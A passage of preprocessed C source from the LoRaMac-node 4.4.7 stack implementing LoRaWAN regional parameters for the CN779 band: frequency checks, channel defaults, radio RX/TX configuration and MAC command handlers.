"/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" int8_t RegionCN779NewChannelReq( NewChannelReqParams_t* newChannelReq ); # 371 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" int8_t RegionCN779TxParamSetupReq( TxParamSetupReqParams_t* txParamSetupReq ); # 380 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" int8_t RegionCN779DlChannelReq( DlChannelReqParams_t* dlChannelReq ); # 389 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" int8_t RegionCN779AlternateDr( int8_t currentDr, AlternateDrType_t type ); # 403 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" LoRaMacStatus_t RegionCN779NextChannel( NextChanParams_t* nextChanParams, uint8_t* channel, UTIL_TIMER_Time_t* time, UTIL_TIMER_Time_t* aggregatedTimeOff ); # 412 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" LoRaMacStatus_t RegionCN779ChannelAdd( ChannelAddParams_t* channelAdd ); # 421 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" # 421 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" 3 4 _Bool # 421 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" RegionCN779ChannelsRemove( ChannelRemoveParams_t* channelRemove ); void RegionCN779SetContinuousWave( ContinuousWaveParams_t* continuousWave ); # 441 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.h" uint8_t RegionCN779ApplyDrOffset( uint8_t downlinkDwellTime, int8_t dr, int8_t drOffset ); void RegionCN779RxBeaconSetup( RxBeaconSetup_t* rxBeaconSetup, uint8_t* outDr ); # 34 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 2 #define CHANNELS_MASK_SIZE 1 static RegionNvmDataGroup1_t* RegionNvmGroup1; static RegionNvmDataGroup2_t* RegionNvmGroup2; static # 45 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 _Bool # 45 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" VerifyRfFreq( uint32_t freq ) { if( Radio.CheckRfFrequency( freq ) == # 48 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 48 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { return # 50 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 50 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } if( ( freq < 779500000 ) || ( freq > 786500000 ) ) { return # 55 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 55 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } return # 57 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 57 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } static UTIL_TIMER_Time_t GetTimeOnAir( int8_t datarate, uint16_t pktLen ) { int8_t phyDr = DataratesCN779[datarate]; uint32_t bandwidth = RegionCommonGetBandwidth( datarate, BandwidthsCN779 ); UTIL_TIMER_Time_t timeOnAir = 0; if( datarate == 7 ) { timeOnAir = Radio.TimeOnAir( MODEM_FSK, bandwidth, phyDr * 1000, 0, 5, # 68 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 68 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , pktLen, # 68 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 68 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ); } else { timeOnAir = Radio.TimeOnAir( MODEM_LORA, bandwidth, phyDr, 1, 8, # 72 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 72 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , pktLen, # 72 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 72 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ); } return timeOnAir; } PhyParam_t RegionCN779GetPhyParam( GetPhyParams_t* getPhy ) { PhyParam_t phyParam = { 0 }; switch( getPhy->Attribute ) { case PHY_MIN_RX_DR: { phyParam.Value = 0; break; } case PHY_MIN_TX_DR: { phyParam.Value = 0; break; } case PHY_DEF_TX_DR: { phyParam.Value = 0; break; } case PHY_NEXT_LOWER_TX_DR: { RegionCommonGetNextLowerTxDrParams_t nextLowerTxDrParams = { .CurrentDr = getPhy->Datarate, .MaxDr = ( int8_t )7, .MinDr = ( int8_t )0, .NbChannels = 16, .ChannelsMask = RegionNvmGroup2->ChannelsMask, .Channels = RegionNvmGroup2->Channels, }; phyParam.Value = RegionCommonGetNextLowerTxDr( &nextLowerTxDrParams ); break; } case PHY_MAX_TX_POWER: { phyParam.Value = 0; break; } case PHY_DEF_TX_POWER: { phyParam.Value = 0; break; } case PHY_DEF_ADR_ACK_LIMIT: { phyParam.Value = 64; break; } case PHY_DEF_ADR_ACK_DELAY: { phyParam.Value = 32; break; } case PHY_MAX_PAYLOAD: { phyParam.Value = MaxPayloadOfDatarateCN779[getPhy->Datarate]; break; } case PHY_DUTY_CYCLE: { phyParam.Value = 1; break; } case PHY_MAX_RX_WINDOW: { phyParam.Value = 3000; break; } case PHY_RECEIVE_DELAY1: { phyParam.Value = 1000; break; } case PHY_RECEIVE_DELAY2: { phyParam.Value = ( 1000 + 1000 ); break; } case PHY_JOIN_ACCEPT_DELAY1: { phyParam.Value = 5000; break; } case PHY_JOIN_ACCEPT_DELAY2: { phyParam.Value = ( 5000 + 1000 ); break; } case PHY_MAX_FCNT_GAP: { phyParam.Value = 16384; break; } case PHY_ACK_TIMEOUT: { phyParam.Value = ( 2000 + randr( -1000, 1000 ) ); break; } case PHY_DEF_DR1_OFFSET: { phyParam.Value = 0; break; } case PHY_DEF_RX2_FREQUENCY: { phyParam.Value = 786000000; break; } case PHY_DEF_RX2_DR: { phyParam.Value = 0; break; } case PHY_CHANNELS_MASK: { phyParam.ChannelsMask = RegionNvmGroup2->ChannelsMask; break; } case PHY_CHANNELS_DEFAULT_MASK: { phyParam.ChannelsMask = RegionNvmGroup2->ChannelsDefaultMask; break; } case PHY_MAX_NB_CHANNELS: { phyParam.Value = 16; break; } case PHY_CHANNELS: { phyParam.Channels = RegionNvmGroup2->Channels; break; } case PHY_DEF_UPLINK_DWELL_TIME: { phyParam.Value = 0; break; } case PHY_DEF_DOWNLINK_DWELL_TIME: { phyParam.Value = 0; break; } case PHY_DEF_MAX_EIRP: { phyParam.fValue = 12.15f; break; } case PHY_DEF_ANTENNA_GAIN: { phyParam.fValue = 2.15f; break; } case PHY_BEACON_CHANNEL_FREQ: { phyParam.Value = 785000000; break; } case PHY_BEACON_FORMAT: { phyParam.BeaconFormat.BeaconSize = 17; phyParam.BeaconFormat.Rfu1Size = 2; phyParam.BeaconFormat.Rfu2Size = 0; break; } case PHY_BEACON_CHANNEL_DR: { phyParam.Value = 3; break; } case PHY_PING_SLOT_CHANNEL_FREQ: { phyParam.Value = 785000000; break; } case PHY_PING_SLOT_CHANNEL_DR: { phyParam.Value = 3; break; } case PHY_SF_FROM_DR: { phyParam.Value = DataratesCN779[getPhy->Datarate]; break; } case PHY_BW_FROM_DR: { phyParam.Value = RegionCommonGetBandwidth( getPhy->Datarate, BandwidthsCN779 ); break; } default: { break; } } return phyParam; } void RegionCN779SetBandTxDone( SetBandTxDoneParams_t* txDone ) { RegionCommonSetBandTxDone( &RegionNvmGroup1->Bands[RegionNvmGroup2->Channels[txDone->Channel].Band], txDone->LastTxAirTime, txDone->Joined, txDone->ElapsedTimeSinceStartUp ); } void RegionCN779InitDefaults( InitDefaultsParams_t* params ) { Band_t bands[1] = { { 100, 0, 0, 0, 0, 0, 0 } }; switch( params->Type ) { case INIT_TYPE_DEFAULTS: { if( ( params->NvmGroup1 == # 295 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 ((void *)0) # 295 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) || ( params->NvmGroup2 == # 295 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 ((void *)0) # 295 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) ) { return; } RegionNvmGroup1 = (RegionNvmDataGroup1_t*) params->NvmGroup1; RegionNvmGroup2 = (RegionNvmDataGroup2_t*) params->NvmGroup2; memcpy1( ( uint8_t* )RegionNvmGroup1->Bands, ( uint8_t* )bands, sizeof( Band_t ) * 1 ); RegionNvmGroup2->Channels[0] = ( ChannelParams_t ) { 779500000, 0, { ( ( 5 << 4 ) | 0 ) }, 0 }; RegionNvmGroup2->Channels[1] = ( ChannelParams_t ) { 779700000, 0, { ( ( 5 << 4 ) | 0 ) }, 0 }; RegionNvmGroup2->Channels[2] = ( ChannelParams_t ) { 779900000, 0, { ( ( 5 << 4 ) | 0 ) }, 0 }; RegionNvmGroup2->ChannelsDefaultMask[0] = ( uint16_t )( 1 << ( 1 - 1 ) ) + ( uint16_t )( 1 << ( 2 - 1 ) ) + ( uint16_t )( 1 << ( 3 - 1 ) ); RegionCommonChanMaskCopy( RegionNvmGroup2->ChannelsMask, RegionNvmGroup2->ChannelsDefaultMask, 1 ); break; } case INIT_TYPE_RESET_TO_DEFAULT_CHANNELS: { RegionNvmGroup2->Channels[0].Rx1Frequency = 0; RegionNvmGroup2->Channels[1].Rx1Frequency = 0; RegionNvmGroup2->Channels[2].Rx1Frequency = 0; RegionCommonChanMaskCopy( RegionNvmGroup2->ChannelsMask, RegionNvmGroup2->ChannelsDefaultMask, 1 ); break; } case INIT_TYPE_ACTIVATE_DEFAULT_CHANNELS: { RegionNvmGroup2->ChannelsMask[0] |= RegionNvmGroup2->ChannelsDefaultMask[0]; break; } default: { break; } } } # 341 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 _Bool # 341 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" RegionCN779Verify( VerifyParams_t* verify, PhyAttribute_t phyAttribute ) { switch( phyAttribute ) { case PHY_FREQUENCY: { return VerifyRfFreq( verify->Frequency ); } case PHY_TX_DR: { return RegionCommonValueInRange( verify->DatarateParams.Datarate, 0, 7 ); } case PHY_DEF_TX_DR: { return RegionCommonValueInRange( verify->DatarateParams.Datarate, 0, 5 ); } case PHY_RX_DR: { return RegionCommonValueInRange( verify->DatarateParams.Datarate, 0, 7 ); } case PHY_DEF_TX_POWER: case PHY_TX_POWER: { return RegionCommonValueInRange( verify->TxPower, 0, 5 ); } case PHY_DUTY_CYCLE: { return 1; } default: return # 372 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 372 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } } void RegionCN779ApplyCFList( ApplyCFListParams_t* applyCFList ) { ChannelParams_t newChannel; ChannelAddParams_t channelAdd; ChannelRemoveParams_t channelRemove; newChannel.DrRange.Value = ( 5 << 4 ) | 0; if( applyCFList->Size != 16 ) { return; } if( applyCFList->Payload[15] != 0 ) { return; } for( uint8_t i = 0, chanIdx = 3; chanIdx < 16; i+=3, chanIdx++ ) { if( chanIdx < ( 5 + 3 ) ) { newChannel.Frequency = (uint32_t) applyCFList->Payload[i]; newChannel.Frequency |= ( (uint32_t) applyCFList->Payload[i + 1] << 8 ); newChannel.Frequency |= ( (uint32_t) applyCFList->Payload[i + 2] << 16 ); newChannel.Frequency *= 100; newChannel.Rx1Frequency = 0; } else { newChannel.Frequency = 0; newChannel.DrRange.Value = 0; newChannel.Rx1Frequency = 0; } if( newChannel.Frequency != 0 ) { channelAdd.NewChannel = &newChannel; channelAdd.ChannelId = chanIdx; RegionCN779ChannelAdd( &channelAdd ); } else { channelRemove.ChannelId = chanIdx; RegionCN779ChannelsRemove( &channelRemove ); } } } # 435 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 _Bool # 435 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" RegionCN779ChanMaskSet( ChanMaskSetParams_t* chanMaskSet ) { switch( chanMaskSet->ChannelsMaskType ) { case CHANNELS_MASK: { RegionCommonChanMaskCopy( RegionNvmGroup2->ChannelsMask, chanMaskSet->ChannelsMaskIn, 1 ); break; } case CHANNELS_DEFAULT_MASK: { RegionCommonChanMaskCopy( RegionNvmGroup2->ChannelsDefaultMask, chanMaskSet->ChannelsMaskIn, 1 ); break; } default: return # 450 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 450 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } return # 452 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 452 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } void RegionCN779ComputeRxWindowParameters( int8_t datarate, uint8_t minRxSymbols, uint32_t rxError, RxConfigParams_t *rxConfigParams ) { uint32_t tSymbolInUs = 0; rxConfigParams->Datarate = ( ( ( datarate ) < ( 7 ) ) ? ( datarate ) : ( 7 ) ); rxConfigParams->Bandwidth = RegionCommonGetBandwidth( rxConfigParams->Datarate, BandwidthsCN779 ); if( rxConfigParams->Datarate == 7 ) { tSymbolInUs = RegionCommonComputeSymbolTimeFsk( DataratesCN779[rxConfigParams->Datarate] ); } else { tSymbolInUs = RegionCommonComputeSymbolTimeLoRa( DataratesCN779[rxConfigParams->Datarate], BandwidthsCN779[rxConfigParams->Datarate] ); } RegionCommonComputeRxWindowParameters( tSymbolInUs, minRxSymbols, rxError, Radio.GetWakeupTime( ), &rxConfigParams->WindowTimeout, &rxConfigParams->WindowOffset ); } # 475 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 _Bool # 475 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" RegionCN779RxConfig( RxConfigParams_t* rxConfig, int8_t* datarate ) { RadioModems_t modem; int8_t dr = rxConfig->Datarate; int8_t phyDr = 0; uint32_t frequency = rxConfig->Frequency; if( Radio.GetStatus( ) != RF_IDLE ) { return # 484 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 484 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } if( rxConfig->RxSlot == RX_SLOT_WIN_1 ) { frequency = RegionNvmGroup2->Channels[rxConfig->Channel].Frequency; if( RegionNvmGroup2->Channels[rxConfig->Channel].Rx1Frequency != 0 ) { frequency = RegionNvmGroup2->Channels[rxConfig->Channel].Rx1Frequency; } } phyDr = DataratesCN779[dr]; Radio.SetChannel( frequency ); if( dr == 7 ) { modem = MODEM_FSK; Radio.SetRxConfig( modem, 50000, phyDr * 1000, 0, 83333, 5, rxConfig->WindowTimeout, # 507 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 507 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , 0, # 507 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 507 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , 0, 0, # 507 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 507 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , rxConfig->RxContinuous ); } else { modem = MODEM_LORA; Radio.SetRxConfig( modem, rxConfig->Bandwidth, phyDr, 1, 0, 8, rxConfig->WindowTimeout, # 512 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 512 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , 0, # 512 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 512 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , 0, 0, # 512 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 512 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , rxConfig->RxContinuous ); } Radio.SetMaxPayloadLength( modem, MaxPayloadOfDatarateCN779[dr] + ( 1 + ( 4 + 1 + 2 ) + 1 + 4 ) ); *datarate = (uint8_t) dr; return # 518 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 518 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } # 521 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 _Bool # 521 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" RegionCN779TxConfig( TxConfigParams_t* txConfig, int8_t* txPower, UTIL_TIMER_Time_t* txTimeOnAir ) { RadioModems_t modem; int8_t phyDr = DataratesCN779[txConfig->Datarate]; int8_t txPowerLimited = RegionCommonLimitTxPower( txConfig->TxPower, RegionNvmGroup1->Bands[RegionNvmGroup2->Channels[txConfig->Channel].Band].TxMaxPower ); uint32_t bandwidth = RegionCommonGetBandwidth( txConfig->Datarate, BandwidthsCN779 ); int8_t phyTxPower = 0; phyTxPower = RegionCommonComputeTxPower( txPowerLimited, txConfig->MaxEirp, txConfig->AntennaGain ); Radio.SetChannel( RegionNvmGroup2->Channels[txConfig->Channel].Frequency ); if( txConfig->Datarate == 7 ) { modem = MODEM_FSK; Radio.SetTxConfig( modem, phyTxPower, 25000, bandwidth, phyDr * 1000, 0, 5, # 538 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 538 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , # 538 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 538 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , 0, 0, # 538 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 538 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , 4000 ); } else { modem = MODEM_LORA; Radio.SetTxConfig( modem, phyTxPower, 0, bandwidth, phyDr, 1, 8, # 543 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 543 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , # 543 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 543 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , 0, 0, # 543 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 543 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" , 4000 ); } *txTimeOnAir = GetTimeOnAir( txConfig->Datarate, txConfig->PktLen ); Radio.SetMaxPayloadLength( modem, txConfig->PktLen ); *txPower = txPowerLimited; return # 553 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 1 # 553 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ; } uint8_t RegionCN779LinkAdrReq( LinkAdrReqParams_t* linkAdrReq, int8_t* drOut, int8_t* txPowOut, uint8_t* nbRepOut, uint8_t* nbBytesParsed ) { uint8_t status = 0x07; RegionCommonLinkAdrParams_t linkAdrParams = { 0 }; uint8_t nextIndex = 0; uint8_t bytesProcessed = 0; uint16_t chMask = 0; GetPhyParams_t getPhy; PhyParam_t phyParam; RegionCommonLinkAdrReqVerifyParams_t linkAdrVerifyParams; while( bytesProcessed < linkAdrReq->PayloadSize ) { nextIndex = RegionCommonParseLinkAdrReq( &( linkAdrReq->Payload[bytesProcessed] ), &linkAdrParams ); if( nextIndex == 0 ) break; bytesProcessed += nextIndex; status = 0x07; chMask = linkAdrParams.ChMask; if( ( linkAdrParams.ChMaskCtrl == 0 ) && ( chMask == 0 ) ) { status &= 0xFE; } else if( ( ( linkAdrParams.ChMaskCtrl >= 1 ) && ( linkAdrParams.ChMaskCtrl <= 5 )) || ( linkAdrParams.ChMaskCtrl >= 7 ) ) { status &= 0xFE; } else { for( uint8_t i = 0; i < 16; i++ ) { if( linkAdrParams.ChMaskCtrl == 6 ) { if( RegionNvmGroup2->Channels[i].Frequency != 0 ) { chMask |= 1 << i; } } else { if( ( ( chMask & ( 1 << i ) ) != 0 ) && ( RegionNvmGroup2->Channels[i].Frequency == 0 ) ) { status &= 0xFE; } } } } } getPhy.Attribute = PHY_MIN_TX_DR; getPhy.UplinkDwellTime = linkAdrReq->UplinkDwellTime; phyParam = RegionCN779GetPhyParam( &getPhy ); linkAdrVerifyParams.Status = status; linkAdrVerifyParams.AdrEnabled = linkAdrReq->AdrEnabled; linkAdrVerifyParams.Datarate = linkAdrParams.Datarate; linkAdrVerifyParams.TxPower = linkAdrParams.TxPower; linkAdrVerifyParams.NbRep = linkAdrParams.NbRep; linkAdrVerifyParams.CurrentDatarate = linkAdrReq->CurrentDatarate; linkAdrVerifyParams.CurrentTxPower = linkAdrReq->CurrentTxPower; linkAdrVerifyParams.CurrentNbRep = linkAdrReq->CurrentNbRep; linkAdrVerifyParams.NbChannels = 16; linkAdrVerifyParams.ChannelsMask = &chMask; linkAdrVerifyParams.MinDatarate = ( int8_t )phyParam.Value; linkAdrVerifyParams.MaxDatarate = 7; linkAdrVerifyParams.Channels = RegionNvmGroup2->Channels; linkAdrVerifyParams.MinTxPower = 5; linkAdrVerifyParams.MaxTxPower = 0; linkAdrVerifyParams.Version = linkAdrReq->Version; status = RegionCommonLinkAdrReqVerifyParams( &linkAdrVerifyParams, &linkAdrParams.Datarate, &linkAdrParams.TxPower, &linkAdrParams.NbRep ); if( status == 0x07 ) { memset1( ( uint8_t* ) RegionNvmGroup2->ChannelsMask, 0, sizeof( RegionNvmGroup2->ChannelsMask ) ); RegionNvmGroup2->ChannelsMask[0] = chMask; } *drOut = linkAdrParams.Datarate; *txPowOut = linkAdrParams.TxPower; *nbRepOut = linkAdrParams.NbRep; *nbBytesParsed = bytesProcessed; return status; } uint8_t RegionCN779RxParamSetupReq( RxParamSetupReqParams_t* rxParamSetupReq ) { uint8_t status = 0x07; if( VerifyRfFreq( rxParamSetupReq->Frequency ) == # 666 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 666 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { status &= 0xFE; } if( RegionCommonValueInRange( rxParamSetupReq->Datarate, 0, 7 ) == # 672 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 672 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { status &= 0xFD; } if( RegionCommonValueInRange( rxParamSetupReq->DrOffset, 0, 5 ) == # 678 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 678 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { status &= 0xFB; } return status; } int8_t RegionCN779NewChannelReq( NewChannelReqParams_t* newChannelReq ) { uint8_t status = 0x03; ChannelAddParams_t channelAdd; ChannelRemoveParams_t channelRemove; if( newChannelReq->NewChannel->Frequency == 0 ) { channelRemove.ChannelId = newChannelReq->ChannelId; if( RegionCN779ChannelsRemove( &channelRemove ) == # 697 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 697 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { status &= 0xFC; } } else { channelAdd.NewChannel = newChannelReq->NewChannel; channelAdd.ChannelId = newChannelReq->ChannelId; switch( RegionCN779ChannelAdd( &channelAdd ) ) { case LORAMAC_STATUS_OK: { break; } case LORAMAC_STATUS_FREQUENCY_INVALID: { status &= 0xFE; break; } case LORAMAC_STATUS_DATARATE_INVALID: { status &= 0xFD; break; } case LORAMAC_STATUS_FREQ_AND_DR_INVALID: { status &= 0xFC; break; } default: { status &= 0xFC; break; } } } return status; } int8_t RegionCN779TxParamSetupReq( TxParamSetupReqParams_t* txParamSetupReq ) { return -1; } int8_t RegionCN779DlChannelReq( DlChannelReqParams_t* dlChannelReq ) { uint8_t status = 0x03; if( VerifyRfFreq( dlChannelReq->Rx1Frequency ) == # 750 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" 3 4 0 # 750 "/home/jenkins/workspace/RUI_Release/rui-v3/external/lora/LoRaMac-node-4.4.7/src/mac/region/RegionCN779.c" ) { status &= 0xFE; } if( RegionNvmGroup2->Channels[dlChannelReq->ChannelId].Frequency == 0 ) { status &= 0xFD; } if( status == 0x03 ) { RegionNvmGroup2->Channels[dlChannelReq->ChannelId].Rx1Frequency = dlChannelReq->Rx1Frequency; } return status; } int8_t RegionCN779AlternateDr( int8_t currentDr, AlternateDrType_t type ) { return currentDr; } LoRaMacStatus_t RegionCN779NextChannel( NextChanParams_t* nextChanParams, uint8_t* channel, UTIL_TIMER_Time_t* time, UTIL_TIMER_Time_t* aggregatedTimeOff ) { uint8_t nbEnabledChannels = 0; uint8_t nbRestrictedChannels = 0; uint8_t enabledChannels[16] = { 0 }; 